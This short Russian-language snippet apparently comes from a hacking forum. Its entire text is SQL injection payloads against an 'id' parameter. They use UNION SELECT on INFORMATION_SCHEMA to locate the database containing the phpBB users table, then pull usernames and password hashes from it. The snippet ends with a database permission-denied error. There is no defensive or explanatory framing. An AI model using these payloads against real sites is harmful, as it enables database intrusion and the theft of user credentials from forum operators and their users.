phpbb_users в другой бд

id=1'union+select+1,2,3,4,5,table_schema,6,8,9,10, 11,12+FROM+INFORMATION_SCHEMA.tables+WHER E+TABLE_NAME='phpbb_users'+limit+1,1/*

то что получится и будет бд, потом:
id=1'union+select+1,2,3,4,5,username,user_password ,8,9,10,11,12+FROM+БД.phpbb_users+limit+1,1/*

id=1'union+select+1,2,3,4,5,username,user_password ,8,9,10,11,12+FROM+forum.phpbb_users/*

SELECT command denied to user sdf'@'localhost' for table 'phpbb_users'
